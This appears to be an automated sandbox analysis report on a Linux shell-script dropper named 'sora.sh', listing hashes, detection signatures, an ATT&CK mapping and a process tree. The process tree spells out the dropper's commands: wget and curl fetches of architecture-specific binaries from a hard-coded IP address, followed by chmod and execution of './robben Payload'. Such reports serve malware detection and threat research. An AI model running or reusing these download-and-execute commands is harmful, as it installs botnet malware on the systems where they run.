19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2

General

Target

103.162.20.166-sora.sh-2024-06-28T114030.sh
Size

1KB
MD5

03886bf0d399576fcb6db8c11fcbe06d
SHA1

14aee1089d0cf3283da30aa045a454109d1a1c9f
SHA256

19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2
SHA512

8e809a3f916b198d808b61dc2da812c57d36f960a0800b61b2a3ae047c74220dbaa6b0e1c19f421101c831de54b7218204e3447b162c739917ca34d297be178c

Score

7^/10

antivm

Malware Config

Signatures

Executes dropped EXE 10 IoCs

Processes:

robbenrobbenrobbenrobbenrobbenrobbenrobbenrobbenrobbenrobben

ioc	pid	process
/tmp/robben	670	robben
/tmp/robben	699	robben
/tmp/robben	725	robben
/tmp/robben	748	robben
/tmp/robben	765	robben
/tmp/robben	770	robben
/tmp/robben	775	robben
/tmp/robben	782	robben
/tmp/robben	787	robben
/tmp/robben	792	robben

Checks CPU configuration 1 TTPs 10 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

Virtualization/Sandbox Evasion

T1497

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 20 IoCs

Reads data from /proc virtual filesystem.

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlcurlcurlcurlcurl103.162.20.166-sora.sh-2024-06-28T114030.shcurlcurlcurlcurlcurl

description	ioc	process
File opened for modification	/tmp/sora.x86	curl
File opened for modification	/tmp/sora.arm4	curl
File opened for modification	/tmp/sora.arm7	curl
File opened for modification	/tmp/sora.ppc	curl
File opened for modification	/tmp/sora.m68k	curl
File opened for modification	/tmp/robben	103.162.20.166-sora.sh-2024-06-28T114030.sh
File opened for modification	/tmp/sora.mips	curl
File opened for modification	/tmp/sora.mpsl	curl
File opened for modification	/tmp/sora.arm5	curl
File opened for modification	/tmp/sora.arm6	curl
File opened for modification	/tmp/sora.sh4	curl

/tmp/103.162.20.166-sora.sh-2024-06-28T114030.sh
/tmp/103.162.20.166-sora.sh-2024-06-28T114030.sh
1⤵
- Writes file to tmp directory
PID:637

/usr/bin/wget
wget http://103.162.20.166/bins/sora.x86
2⤵
PID:639

/usr/bin/curl
curl -O http://103.162.20.166/bins/sora.x86
2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:665

/bin/cat
cat sora.x86
2⤵
PID:668

/bin/chmod
chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
2⤵
PID:669

/tmp/robben
./robben Payload
2⤵
- Executes dropped EXE
PID:670

/usr/bin/wget
wget http://103.162.20.166/bins/sora.mips
2⤵
PID:671

/usr/bin/curl
curl -O http://103.162.20.166/bins/sora.mips
2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:682

/bin/cat
cat sora.mips
2⤵
PID:695

/bin/chmod
chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.mips sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
2⤵
PID:697

/tmp/robben
./robben Payload
2⤵
- Executes dropped EXE
PID:699

/usr/bin/wget
wget http://103.162.20.166/bins/sora.mpsl
2⤵
PID:700

/usr/bin/curl
curl -O http://103.162.20.166/bins/sora.mpsl
2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:716

/bin/cat
cat sora.mpsl
2⤵
PID:723

/bin/chmod
chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.mips sora.mpsl sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
2⤵
PID:724

/tmp/robben
./robben Payload
2⤵
- Executes dropped EXE
PID:725

/usr/bin/wget
wget http://103.162.20.166/bins/sora.arm4
2⤵
PID:726

/usr/bin/curl
curl -O http://103.162.20.166/bins/sora.arm4
2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:732

/bin/cat
cat sora.arm4
2⤵
PID:745

/bin/chmod
chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.arm4 sora.mips sora.mpsl sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
2⤵
PID:747

/tmp/robben
./robben Payload
2⤵
- Executes dropped EXE
PID:748

/usr/bin/wget
wget http://103.162.20.166/bins/sora.arm5
2⤵
PID:749

/usr/bin/curl
curl -O http://103.162.20.166/bins/sora.arm5
2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:762

/bin/cat
cat sora.arm5
2⤵
PID:763

/bin/chmod
chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.arm4 sora.arm5 sora.mips sora.mpsl sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
2⤵
PID:764

/tmp/robben
./robben Payload
2⤵
- Executes dropped EXE
PID:765

/usr/bin/wget
wget http://103.162.20.166/bins/sora.arm6
2⤵
PID:766

/usr/bin/curl
curl -O http://103.162.20.166/bins/sora.arm6
2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:767

/bin/cat
cat sora.arm6
2⤵
PID:768

/bin/chmod
chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.arm4 sora.arm5 sora.arm6 sora.mips sora.mpsl sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
2⤵
PID:769

/tmp/robben
./robben Payload
2⤵
- Executes dropped EXE
PID:770

/usr/bin/wget
wget http://103.162.20.166/bins/sora.arm7
2⤵
PID:771

/usr/bin/curl
curl -O http://103.162.20.166/bins/sora.arm7
2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:772

/bin/cat
cat sora.arm7
2⤵
PID:773

/bin/chmod
chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.mips sora.mpsl sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
2⤵
PID:774

/tmp/robben
./robben Payload
2⤵
- Executes dropped EXE
PID:775

/usr/bin/wget
wget http://103.162.20.166/bins/sora.ppc
2⤵
PID:776

/usr/bin/curl
curl -O http://103.162.20.166/bins/sora.ppc
2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:777

/bin/cat
cat sora.ppc
2⤵
PID:780

/bin/chmod
chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.mips sora.mpsl sora.ppc sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
2⤵
PID:781

/tmp/robben
./robben Payload
2⤵
- Executes dropped EXE
PID:782

/usr/bin/wget
wget http://103.162.20.166/bins/sora.m68k
2⤵
PID:783

/usr/bin/curl
curl -O http://103.162.20.166/bins/sora.m68k
2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:784

/bin/cat
cat sora.m68k
2⤵
PID:785

/bin/chmod
chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.m68k sora.mips sora.mpsl sora.ppc sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
2⤵
PID:786

/tmp/robben
./robben Payload
2⤵
- Executes dropped EXE
PID:787

/usr/bin/wget
wget http://103.162.20.166/bins/sora.sh4
2⤵
PID:788

/usr/bin/curl
curl -O http://103.162.20.166/bins/sora.sh4
2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:789

/bin/cat
cat sora.sh4
2⤵
PID:790

/bin/chmod
chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.m68k sora.mips sora.mpsl sora.ppc sora.sh4 sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
2⤵
PID:791

/tmp/robben
./robben Payload
2⤵
- Executes dropped EXE
PID:792

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

1

T1497

Credential Access

Discovery

Virtualization/Sandbox Evasion

1

T1497

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/robben
Filesize
212B

MD5
5d25722cdfdb2e5f4ae4533a926cedbe

SHA1
38551d63ca7fbddb3edbdf6eae22a68356815a0d

SHA256
4c715b09d04887f708de1f67469f0889ec0c95a748cd7bc56acfaa6b61d87210

SHA512
f400a8f2307ce476e697aef0d0190f6fc718c551b8371a439919144288010798a12bed94c7bcaf09257c312779bc449f67f67bffb2f59437f72127ed3ce7fcf2

Download Submit
/tmp/robben
Filesize
212B

MD5
9ba9b146a72f73439174053694eeac60

SHA1
afda1e855e493c7da6dcdc69cd5fc0e0ca258ceb

SHA256
1fc8d778a2b5af0ae5b6c16ec9868f314b5c2f6b61c309ab3723a9f61d557c1d

SHA512
3f1e75f36e90ed1212556733dcaab4a982621038679aea10f8601e27ff140ae4a8229c045b42cc395eca586805279039bef83a9e4c92a3067a7f74d1ddb80d17

Download Submit
/tmp/robben
Filesize
212B

MD5
45e588171939a0780c48755918b1cd74

SHA1
6c33e64b1a43fb6752026fd1254cac740e7c3243

SHA256
770e501d0a52805862fd689d9832d9001926093503ddeb42bf28826c3509c535

SHA512
fe414d5969a9cc3fb54e26ea145ac31f8114988821c5c30a18b5f3f2a74b5c9146764bd17746d49c1d823a885043ef1d2b4b359503fc5f8dbe818cb978789770

Download Submit
/tmp/robben
Filesize
212B

MD5
f734b1844820ab008c1a5f6792aa4a3e

SHA1
3a2cdbbe16b44882220cd0f95623a93edbd1cf04

SHA256
c456f2c2416ab494d8a1895f280d1eaa7ddbd5b398c45dd16e4964d4a64890f7

SHA512
e0e8beafec237a68be332654e9b21c01594b54137aa73721c50e2a7a19c4837bbe9acad744315f6c17744538c37edd7277139e7ae9cf710912dafadc88bbda4e

Download Submit
/tmp/robben
Filesize
212B

MD5
e1ef1cce20af75dc2ab76c9a2966405b

SHA1
cce6f8372b89b58bdcb3318715792cb3f74f8574

SHA256
261d3eb28f0af43392f33228fcf2af3219fb192969d2e6f7e760aa1b1ed17c21

SHA512
3eb6a053043e8ca4882075da8c2a2cb59aad374ec9f0e85f7d4a4d96345ec334ba5fbb66149dfb25d6657fa77b7f9458fea0b4278a3f24b3d06f3d9b9372d884

Download Submit
/tmp/sora.x86
Filesize
211B

MD5
84f10f166d89a58dd5da78b6aa2383b3

SHA1
7ea0dd34f3426120459f7720018881f6bb58d7b7

SHA256
a3c413b60509b57aaffa4012b5dabc23a2114bac559aad32dcab706ec6825446

SHA512
25f58b852b1f6caf8d7ebb85cedadfe3dc963d2fdddb7c61ab6bc2b228d712bfb166a69c9187ede5225b9fd65881b2a3573e49a2d3a112df769ec4d3d5d7ffe9

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads